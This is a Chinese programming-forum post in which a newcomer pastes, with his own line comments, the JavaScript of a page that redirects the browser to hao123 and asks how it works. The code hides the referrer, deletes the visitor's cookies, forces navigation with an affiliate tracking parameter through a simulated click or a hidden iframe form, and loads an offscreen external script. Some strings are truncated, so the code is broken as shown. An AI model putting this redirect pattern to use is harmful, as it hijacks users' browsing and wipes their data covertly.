标题:浏览器hao123的跳转,里面好多代码不懂,求指导
取消只看楼主
夏日午后
Rank: 1
等 级:新手上路
帖 子:1
专家分:0
注 册:2015-4-10
结帖率:0
已结贴  问题点数:20 回复次数:0 
浏览器hao123的跳转,里面好多代码不懂,求指导
<html>
   
    <head>
        <meta name="referrer" content="never">
        <script type="text/javascript">
            var n = "tn",  
            v = "aaaaaa_hao_pg",   
            w = ".,     
            u = ["www" + w, w];   
            function r() {        
                window.location.reload(true)  
            }
            function k() {    //定义函数k
                var s = "http://" + u[0] + "/?";      //http://www.
                s += n + "=" + v;       //s=http://www.    这里+是连接符连接字符串变量
                document.links[0].href = s   //把s赋给document.links[0].href, 把第一个链接的href属性设置为http://www.
            };
            function g() {        //定义一个函数名g的函数
                with(document) {     //输出document对象     
                    var e = cookie.split(";");   //cookie用split函数; 分割成数组
                    for (t in e) {   //遍历数组
                        var l = e[t],   //数组中值赋给l
                        r = l.indexOf("="), //查找的位置
                        i = r > -1 ? l.substr(0, r) : l;
 //l为h_t=1; r=3  如果indexOf查到 就substr截取赋给i
//下面整体cookie以一个或多个空格开始,替换全部空格为空,
                        if (i.replace(/^\s+|\s+$/g, '') != "h_t") {
                            for (x in u)
                        cookie = i + "=;domain=" + u[x] + ";expires=" + p( - 2) + ";"
                        }
                    }
                }

                 //处理浏览器的兼容性
                if (navigator.userAgent.toLowerCase().indexOf("webkit") != -1)
             document.links[0].click();    //模拟第一个超链接的点击操作
               
               else {
                            //火狐,ie和qq浏览器
                    with(window.frames[0].document) {
                        body.innerHTML = '<form target="_parent" action="http://' + u[0] + '/"></form>'; {
                            var a = createElement("input");
                            a.type = "hidden";
                            a.name = n;
                            a.value = v;
                            forms[0].appendChild(a)
                        }
                        forms[0].submit()   //实现跳转
                    }
                }
            }
            function p(e) {
                var t = new Date;
                t.setTime( + t + e);
                return t.toGMTString()
            }
        </script>
    </head>
   
    <body onload='try{k();var a=document.cookie.match(new RegExp("(^| )"+"h_t"+"=([^;]*)(;|$)")),c=a?+a[2]:0;if(c>5)r();else{document.cookie="h_t="+(++c)+";expires="+p(10000);g()}}catch(e){r()}'>
        <iframe src="about:blank" style="display:none">
        </iframe>
        <a href="" rel="noreferrer">
        </a>
        <p style='margin-left:-100em;'>
            <script src="http://
            language="JavaScript">
            </script>
        </p>
    </body>

</html>
搜索更多相关主题的帖子: javascript hao123 function 浏览器 content 
2015-04-10 11:46



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-443804-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.019325 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved